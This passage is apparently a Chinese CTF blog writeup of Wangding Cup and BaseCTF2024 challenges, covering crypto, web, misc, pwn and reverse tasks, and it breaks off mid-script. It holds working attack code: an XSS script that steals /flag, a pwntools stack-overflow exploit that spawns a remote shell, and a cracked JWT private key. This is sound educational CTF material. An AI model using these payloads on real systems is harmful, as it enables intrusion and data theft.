84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
# coding: utf-8
#!/usr/bin/env python2

import gmpy2
import random
import binascii
from hashlib import sha256
from sympy import nextprime
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Util.number import long_to_bytes
from FLAG import flag
#flag = 'wdflag{123}'

def victory_encrypt(plaintext, key):
key = key.upper()
key_length = len(key)
plaintext = plaintext.upper()
ciphertext = ''

for i, char in enumerate(plaintext):
if char.isalpha():
shift = ord(key[i % key_length]) - ord('A')
encrypted_char = chr((ord(char) - ord('A') + shift) % 26 + ord('A'))
ciphertext += encrypted_char
else:
ciphertext += char

return ciphertext

victory_key = "WANGDINGCUP"
victory_encrypted_flag = victory_encrypt(flag, victory_key)

p = 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f
a = 0
b = 7
xG = 0x79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798
yG = 0x483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8
G = (xG, yG)
n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
h = 1
zero = (0,0)

dA = nextprime(random.randint(0, n))

if dA > n:
print("warning!!")

def addition(t1, t2):
if t1 == zero:
return t2
if t2 == zero:
return t2
(m1, n1) = t1
(m2, n2) = t2
if m1 == m2:
if n1 == 0 or n1 != n2:
return zero
else:
k = (3 * m1 * m1 + a) % p * gmpy2.invert(2 * n1 , p) % p
else:
k = (n2 - n1 + p) % p * gmpy2.invert((m2 - m1 + p) % p, p) % p
m3 = (k * k % p - m1 - m2 + p * 2) % p
n3 = (k * (m1 - m3) % p - n1 + p) % p
return (int(m3),int(n3))

def multiplication(x, k):
ans = zero
t = 1
while(t <= k):
if (k &t )>0:
ans = addition(ans, x)
x = addition(x, x)
t <<= 1
return ans

def getrs(z, k):
(xp, yp) = P
r = xp
s = (z + r * dA % n) % n * gmpy2.invert(k, n) % n
return r,s

z1 = random.randint(0, p)
z2 = random.randint(0, p)
k = random.randint(0, n)
P = multiplication(G, k)
hA = multiplication(G, dA)
r1, s1 = getrs(z1, k)
r2, s2 = getrs(z2, k)

print("r1 = {}".format(r1))
print("r2 = {}".format(r2))
print("s1 = {}".format(s1))
print("s2 = {}".format(s2))
print("z1 = {}".format(z1))
print("z2 = {}".format(z2))

key = sha256(long_to_bytes(dA)).digest()
cipher = AES.new(key, AES.MODE_CBC)
iv = cipher.iv
encrypted_flag = cipher.encrypt(pad(victory_encrypted_flag.encode(), AES.block_size))
encrypted_flag_hex = binascii.hexlify(iv + encrypted_flag).decode('utf-8')

print("Encrypted flag (AES in CBC mode, hex):", encrypted_flag_hex)

# output
# r1 = 111817653331957669294460466848850458804857945556928458406600106150268654577388
# r2 = 111817653331957669294460466848850458804857945556928458406600106150268654577388
# s1 = 86614391420642776223990568523561232627667766343605236785504627521619587526774
# s2 = 99777373725561160499828739472284705447694429465579067222876023876942075279416
# z1 = 96525870193778873849147733081234547336150390817999790407096946391065286856874
# z2 = 80138688082399628724400273131729065525373481983222188646486307533062536927379
# ('Encrypted flag (AES in CBC mode, hex):', u'6c201c3c4e8b0a2cdd0eca11e7101d45d7b33147d27ad1b9d57e3d1e20c7b3c2e36b8da3142dfd5abe335a604ce7018878b9f157099211a7bbda56ef5285ec0b')

题目说的是AES加密,而且可以看到这里面还融合了其他的加密,然后我们写出解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import gmpy2
import binascii
from hashlib import sha256
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from Crypto.Util.number import long_to_bytes

# Parameters from the original code
p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F
a = 0
b = 7
xG = 0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798
yG = 0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8
G = (xG, yG)
n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
h = 1
zero = (0, 0)

# From the provided values
r1 = 111817653331957669294460466848850458804857945556928458406600106150268654577388
r2 = 111817653331957669294460466848850458804857945556928458406600106150268654577388
s1 = 86614391420642776223990568523561232627667766343605236785504627521619587526774
s2 = 99777373725561160499828739472284705447694429465579067222876023876942075279416
z1 = 96525870193778873849147733081234547336150390817999790407096946391065286856874
z2 = 80138688082399628724400273131729065525373481983222188646486307533062536927379

# Calculate k
k = (z1 - z2) * gmpy2.invert(s1 - s2, n) % n

# Calculate dA
dA = (s1 * k - z1) * gmpy2.invert(r1, n) % n

# Generate AES key
key = sha256(long_to_bytes(dA)).digest()

# Decrypt the AES-CBC ciphertext
encrypted_flag_hex = "6c201c3c4e8b0a2cdd0eca11e7101d45d7b33147d27ad1b9d57e3d1e20c7b3c2e36b8da3142dfd5abe335a604ce7018878b9f157099211a7bbda56ef5285ec0b"
encrypted_flag_bytes = binascii.unhexlify(encrypted_flag_hex)
iv = encrypted_flag_bytes[:16]
ciphertext = encrypted_flag_bytes[16:]

cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted_flag = unpad(cipher.decrypt(ciphertext), AES.block_size)

# Decrypt the Caesar cipher
victory_key = "WANGDINGCUP"
decrypted_flag_text = ""
for char in decrypted_flag.decode():
if char.isalpha():
shift = ord(victory_key[len(decrypted_flag_text) % len(victory_key)]) - ord("A")
decrypted_char = chr((ord(char) - ord("A") - shift) % 26 + ord("A"))
decrypted_flag_text += decrypted_char
else:
decrypted_flag_text += char
lower_flag = decrypted_flag_text.lower()
print("Decrypted flag:", lower_flag)

运行后得到flag:wdflag{58ae00432d8228c9e3a927bbcd8d67d2}

Web

Web01(未做出)

小明在制作网站时使用jwt(Json Web Token)作为身份校验的方式,但是他觉得只用jwt不够安全,所以又使用了session,你能发现其中存在的问题吗?

参考:CTFtime.org / DownUnderCTF 2021 (Online) / JWT / Writeup

题目打开是个登录页面,经过测试发现除了用户名为admin,其他名字随便输密码都能登录进去

然后可以发现cookie里面有一个session和一个token,不难发现token就是JWT

经过jwt.io解码,发现此JWT使用RS256计算方式,所以我们需要得到私钥来完成

爆公钥

我使用的项目是 rsa_sign2n => rsa_sign2n/standalone at release · silentsignal/rsa_sign2n

根据项目提示,构造docker容器后,将两次以不同身份登录的JWT丢进去跑,发现跑出来四个结果

为了缩小筛选范围,我又找了两个JWT的KEY进去跑,然后也是跑出四个结果

再对比四个结果(找两边结果里面重复的那个),得到公钥为

1
2
3
4
5
6
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgSSlUMfCzg/ysG4ixoi6NKGuWNnv
IpZZTRNa045eH2xzzY/ZyRwDojStMH5wxG6nOVvNAY/ETx2XPPC6J1J//nzC1fAN
MNCYRa47xIW0RwZBDSABcGnwu3QP2nr7AR0/tZmSClncdwA7RKzlJM8Fs7Zmb502
ZMSv0AxMgN5UMh9FCwIDAQAB
-----END PUBLIC KEY-----

爆私钥

得到了公钥,就可以尝试爆私钥,我使用的是RsaCtfTool

RsaCtfTool/RsaCtfTool: RSA attack tool (mainly for ctf) - retrieve private key from weak public key and/or uncipher data

经过一顿操作,就得到了私钥为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
-----BEGIN RSA PRIVATE KEY-----
MIICIQIBAAKBgSSlUMfCzg/ysG4ixoi6NKGuWNnvIpZZTRNa045eH2xzzY/ZyRwD
ojStMH5wxG6nOVvNAY/ETx2XPPC6J1J//nzC1fANMNCYRa47xIW0RwZBDSABcGnw
u3QP2nr7AR0/tZmSClncdwA7RKzlJM8Fs7Zmb502ZMSv0AxMgN5UMh9FCwIDAQAB
AoGBC5/r+nCv2+uWXTjL8i6UJtLIfdOssxKbJNiIKLXQh3l8IAAfx1i9ktxYEICW
TcGTUkx9gjd+xUwo0KOKjcg3hZc7bEfLkiOsK8dSwsPFEXYQpCE1EFokhkc9Rbiq
URC9QIrQjtzf5vdU2usj5ddRGtqtmpXm/ibU1TLPIsy8Y5TJAgElAoGBAP2Mj8b+
pnwuSCp0EYh99ogr6jblQlVwySv34UDQarcFjkQoB60SOMZpGCyPr/auhfDIsNvK
yXLKS7IBEBFMETWywUx28OGFV7xtGF7RfLWmaKYXy4ML/DfHonV8khZ6h5wpyxPL
3WliuJCSSsjNgXhj4aeGLtRRuySpiXflrdFvAgERAoGBALrhzOO+tJWZQ2XPMVEq
jvjlbXfS2WbCf/Theuzb8Zw/AxJncuj1IlXUBpZpvigTkPPd6MXIHV13j/1+3Qny
yEiNHf6vOHLxZq6itrDEtafqJP4vUbigr+GpSqxQChl5bNUE1QMdY3AW7LTarzZ8
iq5i6GMi+wdRyp+GOqXd65UPAgEZ
-----END RSA PRIVATE KEY-----

获取flag

搞定了以后,我们把私钥拿到赛博厨师里面,按照我们的要求把用户名改为admin

得到token为eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNzMwMTk1MTgwfQ.MqpdEuYN4ra2g6kADRLVWaaUDvyQFANcynM7kf5M01g

改了token发现game页面可以进入,给了我们提示

1
Dou U know 😀😉😊😋😎🤔😐😥😮🤐😯😪😫😴😜😝😒🙃😲☹️🙁😖😞😤😢😦😰😱🤪😵🥴😠😡🤕🤢🤮🤧😇🥳🥺🤡🤠🤥🐶🐱🐭🐰🦊🐷🐽🐸🐒🐔🐧🐦🚗🚕🚁⭐🛶⛵🚤🛳️⛴️🛥️🚢👶💿📀📱💻⏰🕰️⌚📡🔋🔌🚩✖️➗?

然后我就卡在这里了,说实话我不知道什么意思

我先尝试输入了一个🚩,结果告诉我flag/bin/sh未找到,而且刚好我们还是在最后的十分钟在干这个,结果就没弄出来

Web02(By KeqingMoe)

某安全测试人员接到了一项重要任务:对一套无人机系统的后台进行安全测试。这套系统负责管理无人机的飞行、数据传输和任务调度,请您测试该后台是否安全。

先试着随便输一个账号密码,发现直接登进去了

在输入框输入一些东西,点更新,更新成功,然后返回,发现下面就多了一行字。

写一点 html 交上去,发现可以。联系它说的点提交会审核清单,从而想到 XSS 攻击。

经过简单地猜测,检查到 /flag 下有东西,访问,但得到“你是 boss 嘛?就想看其他无人机拟定执行任务?”从而想到用 xss 把 flag 拿到传回来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<script>
fetch('/flag')
.then(response => response.text())
.then(data =>
fetch('/content/b279d32c6978a402f855956b080bb8a3', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: `content=${encodeURIComponent(data)}`
})
)
.catch(error =>
console.error('Error:', error)
);
</script>

从而拿到 flag 是 wdflag{z0b2pvf3fk1d77rks6a4y6fs5chn6sqh}

MISC

MISC03(By ZZPeng)

近日某公司服务器遭到恶意攻击,随后公司立即对流量监测系统中遭受攻击时段的流量进行了取证,但是公司某一网络安全实习生进行分析溯源后并未找到攻击者的攻击IP,于是公司决定将这个任务重新交给更具经验的你来进行,接手工作后,你立即对其进行了深入调查!

先过滤http请求(http && http.response.code != 404),然后发现有三个请求里面传了hacker.php,可以得到IP为39.168.5.60,所以答案为wdflag{39.168.5.60}

MISC04(By KeqingMoe)

某测试人员刚刚完成了一款图像加密算法的开发,想要邀请你进行深入的分析测试。

图形很扭曲,并且似乎有规律可循。根据它的形状,想到 Peano 分形曲线

搜索到一篇 IrisCTF2024 上的题目,也是 Peano 分形曲线处理过的图片的题,参考后得到如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from PIL import Image
from tqdm import tqdm

def peano(n):
if n == 0:
return [[0, 0]]
else:
in_lst = peano(n - 1)
lst = in_lst.copy()
px, py = lst[-1]
lst.extend([px + i[0], py + 1 + i[1]] for i in in_lst)
px, py = lst[-1]
lst.extend([px + i[0], py + 1 + i[1]] for i in in_lst)
px, py = lst[-1]
lst.extend([px + 1 + i[0], py + i[1]] for i in in_lst)
px, py = lst[-1]
lst.extend([px - i[0], py - 1 - i[1]] for i in in_lst)
px, py = lst[-1]
lst.extend([px + i[0], py - 1 - i[1]] for i in in_lst)
px, py = lst[-1]
lst.extend([px + 1 + i[0], py + i[1]] for i in in_lst)
px, py = lst[-1]
lst.extend([px - i[0], py + 1 + i[1]] for i in in_lst)
px, py = lst[-1]
lst.extend([px + i[0], py + 1 + i[1]] for i in in_lst)
return lst

order = peano(6)
img = Image.open("r.png")
width, height = img.size
block_width = width
block_height = height
new_image = Image.new("RGB", (width, height))
for i, (x, y) in tqdm(enumerate(order)):
new_x, new_y = i % width, i // width
pixel = img.getpixel((x, height - 1 - y))
new_image.putpixel((new_x, new_y), pixel)
new_image.save("rr.jpg")

处理后,得到一张图片,是一个二维码

扫了得到 wdflag{dde235fa-114d-404c-8add-6007e6efabfd}

PWN

PWN02(By ZZPeng)

IDA 静态分析得到用户名密码 admin, admin123

vuln函数存在栈溢出漏洞

发现后门函数gift, 字符串/bin/sh

编写利用脚本 getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *

def exp():
context.log_level='debug'
context(arch='i386', os='linux')

ELFpath = './short'
e = ELF(ELFpath)
# p = process(ELFpath)
p = remote('0192d781680b7e11bd1fe073f5e5923d.el7z.dg10.ciihw.cn', 46319)
p.sendlineafter('username: ', 'admin')
p.sendlineafter('password: ', 'admin123')

buf = int(p.recvline_startswith('You will input this: ').decode()[21:], 16)

print (f'buf:{hex(buf)}\n')
vuln = e.symbols['vuln']
gift = e.symbols['gift']

bin_sh = 0x0804A038
leave = 0x08048555
offset = 0x50 - 0x4*4

# gdb.attach(p)
print (f'vuln:{hex(vuln)} gift:{hex(gift)}')

payload = b'aaaa'+p32(gift)+p32(0)+p32(bin_sh)

p.sendafter('plz input your msg:', payload + cyclic(offset) +p32(buf) + p32(leave))
# p.sendafter('plz input your msg:', b'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae')

p.interactive()

if __name__ == '__main__':
exp()

wdflag{r6kghxuwgu60zb4q1rvp5943zak91ygf}

Reverse

REVERSE01(By Jeremiah)

IDA 打开可以看到 flag 被分成了 4 部分加密

第一部分把用户输入的前 8 字节的两倍赋值给 s1

第二部分把 input 的 8-16 字节和字符串 XorrLord 异或第三部分进行 base64 编码

第四部分进行 AES 加密

解密过程很简单,前两部分手逆即可

这里注意一下有个换表操作

AES 写个脚本即可

最后把四个部分拼起来得到 flag: wdflag{9e855bae8f9aaafe9a2eb2cbd8823519}

🔲 ☆

BaseCTF2024 个人Writeup

因为BaseCTF举办期间,我刚好遇上了开学,而且又是新生入学,后面没什么时间打,于是就不按周次发wp了,直接就放出来吧

MISC

你也喜欢圣物吗

鲁迪是个老hentai!

附件下载下来有两个文件

  • sweeeeeet.png
  • where_is_key.zip(加密,里面有个where_is_key.zip)

附件原图sweeeeeet.png

先用TweakPNG分析一下,提示我们有冗余数据

在png中,冗余数据如果要有,那就是在文件尾,然后在文件尾就可以看到有一段base编码后的字符

赛博厨师解码一下,发现是一段提示

告诉我们是LSB隐写了,但是我用StegSolve搞半天出不来,最后我决定用大佬的Python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
from PIL import Image
import sys


def toasc(strr):
return int(strr, 2)


# str1为所要提取的信息的长度(根据需要修改),str2为加密载体图片的路径,str3为提取文件的保存路径
def decode(str1, str2, str3):
b = ""
im = Image.open(str2)
lenth = int(str1) * 8
width, height = im.size[0], im.size[1]
count = 0
for h in range(height):
for w in range(width):
# 获得(w,h)点像素的值
pixel = im.getpixel((w, h))
# 此处余3,依次从R、G、B三个颜色通道获得最低位的隐藏信息
if count % 3 == 0:
count += 1
b = b + str((mod(int(pixel[0]), 2)))
if count == lenth:
break
if count % 3 == 1:
count += 1
b = b + str((mod(int(pixel[1]), 2)))
if count == lenth:
break
if count % 3 == 2:
count += 1
b = b + str((mod(int(pixel[2]), 2)))
if count == lenth:
break
if count == lenth:
break

with open(str3, "w", encoding="utf-8") as f:
for i in range(0, len(b), 8):
# 以每8位为一组二进制,转换为十进制
stra = toasc(b[i : i + 8])
# 将转换后的十进制数视为ascii码,再转换为字符串写入到文件中
# print((stra))
f.write(chr(stra))
print("sussess")


def plus(string):
# Python zfill() 方法返回指定长度的字符串,原字符串右对齐,前面填充0。
return string.zfill(8)


def get_key(strr):
# 获取要隐藏的文件内容
with open(strr, "rb") as f:
s = f.read()
string = ""
for i in range(len(s)):
# 逐个字节将要隐藏的文件内容转换为二进制,并拼接起来
# 1.先用ord()函数将s的内容逐个转换为ascii码
# 2.使用bin()函数将十进制的ascii码转换为二进制
# 3.由于bin()函数转换二进制后,二进制字符串的前面会有"0b"来表示这个字符串是二进制形式,所以用replace()替换为空
# 4.又由于ascii码转换二进制后是七位,而正常情况下每个字符由8位二进制组成,所以使用自定义函数plus将其填充为8位
string = string + "" + plus(bin(s[i]).replace("0b", ""))
# print(string)
return string


def mod(x, y):
return x % y


# str1为载体图片路径,str2为隐写文件,str3为加密图片保存的路径
def encode(str1, str2, str3):
im = Image.open(str1)
# 获取图片的宽和高
width, height = im.size[0], im.size[1]
print("width:" + str(width))
print("height:" + str(height))
count = 0
# 获取需要隐藏的信息
key = get_key(str2)
keylen = len(key)
for h in range(height):
for w in range(width):
pixel = im.getpixel((w, h))
a = pixel[0]
b = pixel[1]
c = pixel[2]
if count == keylen:
break
# 下面的操作是将信息隐藏进去
# 分别将每个像素点的RGB值余2,这样可以去掉最低位的值
# 再从需要隐藏的信息中取出一位,转换为整型
# 两值相加,就把信息隐藏起来了
a = a - mod(a, 2) + int(key[count])
count += 1
if count == keylen:
im.putpixel((w, h), (a, b, c))
break
b = b - mod(b, 2) + int(key[count])
count += 1
if count == keylen:
im.putpixel((w, h), (a, b, c))
break
c = c - mod(c, 2) + int(key[count])
count += 1
if count == keylen:
im.putpixel((w, h), (a, b, c))
break
if count % 3 == 0:
im.putpixel((w, h), (a, b, c))
im.save(str3)


if __name__ == "__main__":
if "-h" in sys.argv or "--help" in sys.argv or len(sys.argv) < 2:
print("Usage: python test.py <cmd> [arg...] [opts...]")
print(" cmds:")
print(" encode image + flag -> image(encoded)")
print(" decode length + image(encoded) -> flag")
sys.exit(1)
cmd = sys.argv[1]
if cmd != "encode" and cmd != "decode":
print("wrong input")
sys.exit(1)
str1 = sys.argv[2]
str2 = sys.argv[3]
str3 = sys.argv[4]
if cmd != "encode" and cmd != "decode":
print("Wrong cmd %s" % cmd)
sys.exit(1)
elif cmd == "encode":
encode(str1, str2, str3)
elif cmd == "decode":
decode(str1, str2, str3)

然后运行命令

1
2
$ python steg.py decode 64 .\sweeeeeet.png flag.txt
# 这个东西用来解题的用法是:python + python文件名 + decode + 长度 + 图片位置 + 输出位置

因为不知道我们的flag有多长,所以我设置了64,但是出来的其实也不是flag,而是一段文字,有意义的就是lud1_lud1(真就鲁迪啊)

然后把这个密码拿去解压压缩包,里面的文件可以解压出来,但是里面这个压缩包还有密码

看似已经没有提示了,所以我想到的是伪加密,我尝试使用ZipCracker来自动解除伪加密

ZipCracker: https://github.com/asaotomo/ZipCracker

结果跟我想的一样,它是个伪加密

打开里面的flag.txt文件,是两段base编码分布在文件的头部和尾部(你中间放一堆回车防谁呢)

拿去bake一次,发现结果里面还有一段,并且告诉我们前面半段是假的

拿着后面再bake一次就出来了

海上遇到了鲨鱼

来看看网络鲨鱼吧

附件下载下来是个.pcapng文件,也就是wireshark的抓包文件,我们把它打开(我用的Omnipeek)

发现里面有几个请求

/wireshark/flag.php文件的访问,返回的内容为}67bf613763ca-50b3-4437-7a3a-b683fe51{FTCesaB,估计是倒转了,所以我们直接转回来就行了

1
2
original_string = "}67bf613763ca-50b3-4437-7a3a-b683fe51{FTCesaB"
print(original_string[::-1])

然后就能得到flag了

Base

Base啊Base,去学学编码吧

这里提示很明显了,base编码方式,文件里面内容为KFWUM6S2KVHFKUTOOQZVUVCGNJGUOMLMLAZVE5SYGJETAYZSKZVGIR22HE======

五个等号,base32,解码一下发现没出来,再来一次32发现不对,那来一次64,就出来了

人生苦短,我用Python

下载下来一个Python文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import base64
import hashlib

def abort(id):
print('You failed test %d. Try again!' % id)
exit(1)

print('Hello, Python!')
flag = input('Enter your flag: ')

if len(flag) != 38:
abort(1)

if not flag.startswith('BaseCTF{'):
abort(2)

if flag.find('Mp') != 10:
abort(3)

if flag[-3:] * 8 != '3x}3x}3x}3x}3x}3x}3x}3x}':
abort(4)

if ord(flag[-1]) != 125:
abort(5)

if flag.count('_') // 2 != 2:
abort(6)

if list(map(len, flag.split('_'))) != [14, 2, 6, 4, 8]:
abort(7)

if flag[12:32:4] != 'lsT_n':
abort(8)

if '😺'.join([c.upper() for c in flag[:9]]) != 'B😺A😺S😺E😺C😺T😺F😺{😺S':
abort(9)

if not flag[-11].isnumeric() or int(flag[-11]) ** 5 != 1024:
abort(10)

if base64.b64encode(flag[-7:-3].encode()) != b'MG1QbA==':
abort(11)

if flag[::-7].encode().hex() != '7d4372733173':
abort(12)

if set(flag[12::11]) != {'l', 'r'}:
abort(13)

if flag[21:27].encode() != bytes([116, 51, 114, 95, 84, 104]):
abort(14)

if sum(ord(c) * 2024_08_15 ** idx for idx, c in enumerate(flag[17:20])) != 41378751114180610:
abort(15)

if not all([flag[0].isalpha(), flag[8].islower(), flag[13].isdigit()]):
abort(16)

if '{whats} {up}'.format(whats=flag[13], up=flag[15]).replace('3', 'bro') != 'bro 1':
abort(17)

if hashlib.sha1(flag.encode()).hexdigest() != 'e40075055f34f88993f47efb3429bd0e44a7f479':
abort(18)

print('🎉 You are right!')
import this

这里给了很多信息

  • flag的长度为38
  • flag的头一定为BaseCTF{
  • flag的第11和12位一定为Mp
  • flag的最后三位一定为3x}
  • flag的最后一位的字符的ASCII码为125(}
  • flag里面下划线_的数量整除2的结果为2,也就是下划线数量为4~5个
  • flag中使用下划线_分割后,每一部分的字符数目为14, 2, 6, 4, 8(变相告诉我们只有4个下划线)
  • flag中13~33位中一定含有字符lsT_n
  • flag的前9位为BaseCTF{s或者BaseCTF{S
  • flag的倒数第七个字符到倒数第三个字符的base64编码为MG1QbA==0mPl
  • flag倒着取,每七个取一个字符,经过hex编码后结果为7d4372733173}Crs1s
  • flag从第13位开始,每11个字符取一次(第13位、第24位、第35位),这三位的字符一定为l或者r
  • flag的第22位到第28位的编码结果是[116, 51, 114, 95, 84, 104]t3r_Th
  • flag的第18位到20位的字符对应的ASCII值乘以2024_08_15的指数总和等于41378751114180610
  • flag的第一位为字母(已经得知是B),第九位为小写字母,第14位为数字
  • flag的第14位为3,第16位为1
  • flag经过sha1编码后的结果为e40075055f34f88993f47efb3429bd0e44a7f479
1234567891011121314151617181920212223242526272829303132333435363738
BaseCTF{sMpl/r3_1_t3r_Th_C0mPl3x}

综合这些条件,我们就可以得到上面这个表所示的提示

然后我就开始猜了,这个跟英语的功底有一定关系的

  • 结合第9~14位为(未知用*代替)s*Mp*3,我的想法是simple这个单词,所以我猜了s1Mp13
  • 第16~17位为两个字母的单词,我想到的就是is,所以我猜了1s

此时就变成了BaseCTF{s1Mp13_1s_***t3r_Th**_C0mpl3x},我再猜

  • 第26~29位不是this就是that,按照英语的习惯,我猜是个that,所以这个地方可能为Th4t

此时就变成了BaseCTF{s1Mp13_1s_***t3r_Th4t_C0mpl3x},就剩下中间的***

这里第十五个条件:sum(ord(c) * 2024_08_15 ** idx for idx, c in enumerate(flag[17:20])) != 41378751114180610的计算方式如下(假设flag的第18到21位为abc)

  • 使用enumerate生成带索引的列表,为[(0, "a"), (1, "b"), (2, "c")]
  • 然后对每个索引进行计算
    • 生成字符的ASCII码,例如a为97
    • 使用a的ASCII码进行运算:97 * 20240815 ** 0,此处的0是索引

这个时候我们就得到了一个方程(设α、β、γ为三个位置的字符的ASCII码)

αβγ

其中,20240815^2 === 409690591864225, 而41378751114180610 // 409690591864225 = 101,所以我猜γ=101e

然后用(41378751114180610 - 409690591864225*101) // 20240815 = 66,猜测β=66B

最后用41378751114180610 - 409690591864225 * 101 - 20240815 * 66 = 95,猜测α=95_

此时flag为BaseCTF{s1Mp13_1s__Bet3r_Th4t_C0mpl3x}

发现不对,下划线只能有4个,而我们的已知条件已经有4个了,这样的话分段数目不对

然后我发现我错了,这里[17:20]是左闭右开区间,也就是应该是第18位到20位的内容为这些(上面条件里面已经更正过来了),所以应该为BaseCTF{s1Mp13_1s_Be*t3r_Th4t_C0mpl3x},所以我猜测中间那个未知的词为better,那么就有Bett3rBeTt3r的写法,但是我都尝试了,不管是BaseCTF{s1Mp13_1s_Bett3r_Th4t_C0mpl3x}还是BaseCTF{s1Mp13_1s_BeTt3r_Th4t_C0mpl3x}都不对,说明Th4t那个地方应该是错的

那就可能为This了,也说得通:Simple is better, this complex

所以尝试一下thisthis可写作ThisTh1sThiSThis,都去试试

然后我想起来了,这个代码不就是用来检测flag的嘛……然后用这个代码检测,发现过不了第八项

所以第八项告诉我们一定是写作BeTt3r,就变成了BaseCTF{s1Mp13_1s_BeTt3r_Th4t_C0mpl3x},但是还有一个错了,根据第八项取得最后一个字母错了,他是n,所以我就想到了than这个单词(表示比较),所以我拿去试试,用BaseCTF{s1Mp13_ls_BeTt3r_Th4n_C0mpl3x}

然后还是错了,发现是simple这个单词里面的l就是l,我就用了BaseCTF{s1Mpl3_ls_BeTt3r_Th4n_C0mpl3x}

过不了第十一项,complex应该为C0mPl3x(当时打错了),然后是过不了第17项,所以is应该写作1s,最终确定flag为BaseCTF{s1Mpl3_1s_BeTt3r_Th4n_C0mPl3x}

签到

关注公众号然后签到就有了

根本进不去啊!

这个是考了DNS记录的其他类型,我们平常用的最多的是A和CNAME,但是实际上TXT类型的DNS记录可以用来存文本

使用Linux的dig命令可以查看到域名下的TXT记录

所以我们dig一下flag.basectf.fun的TXT记录就出来了

你会算md5吗

下载下来是个Python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
import hashlib

flag='BaseCTF{}'

output=[]
for i in flag:
my_md5=hashlib.md5()
my_md5.update(i.encode())
output.append(my_md5.hexdigest())
print("output =",output)
'''
output = ['9d5ed678fe57bcca610140957afab571', '0cc175b9c0f1b6a831c399e269772661', '03c7c0ace395d80182db07ae2c30f034', 'e1671797c52e15f763380b45e841ec32', '0d61f8370cad1d412f80b84d143e1257', 'b9ece18c950afbfa6b0fdbfa4ff731d3', '800618943025315f869e4e1f09471012', 'f95b70fdc3088560732a5ac135644506', '0cc175b9c0f1b6a831c399e269772661', 'a87ff679a2f3e71d9181a67b7542122c', '92eb5ffee6ae2fec3ad71c777531578f', '8fa14cdd754f91cc6554c9e71929cce7', 'a87ff679a2f3e71d9181a67b7542122c', 'eccbc87e4b5ce2fe28308fd9f2a7baf3', '0cc175b9c0f1b6a831c399e269772661', 'e4da3b7fbbce2345d7772b0674a318d5', '336d5ebc5436534e61d16e63ddfca327', 'eccbc87e4b5ce2fe28308fd9f2a7baf3', '8fa14cdd754f91cc6554c9e71929cce7', '8fa14cdd754f91cc6554c9e71929cce7', '45c48cce2e2d7fbdea1afc51c7c6ad26', '336d5ebc5436534e61d16e63ddfca327', 'a87ff679a2f3e71d9181a67b7542122c', '8f14e45fceea167a5a36dedd4bea2543', '1679091c5a880faf6fb5e6087eb1b2dc', 'a87ff679a2f3e71d9181a67b7542122c', '336d5ebc5436534e61d16e63ddfca327', '92eb5ffee6ae2fec3ad71c777531578f', '8277e0910d750195b448797616e091ad', '0cc175b9c0f1b6a831c399e269772661', 'c81e728d9d4c2f636f067f89cc14862c', '336d5ebc5436534e61d16e63ddfca327', '0cc175b9c0f1b6a831c399e269772661', '8fa14cdd754f91cc6554c9e71929cce7', 'c9f0f895fb98ab9159f51fd0297e236d', 'e1671797c52e15f763380b45e841ec32', 'e1671797c52e15f763380b45e841ec32', 'a87ff679a2f3e71d9181a67b7542122c', '8277e0910d750195b448797616e091ad', '92eb5ffee6ae2fec3ad71c777531578f', '45c48cce2e2d7fbdea1afc51c7c6ad26', '0cc175b9c0f1b6a831c399e269772661', 'c9f0f895fb98ab9159f51fd0297e236d', '0cc175b9c0f1b6a831c399e269772661', 'cbb184dd8e05c9709e5dcaedaa0495cf']
'''

这个直接md5碰撞就完事了,写个Python脚本自动生成结果

1
2
3
4
5
6
7
8
9
10
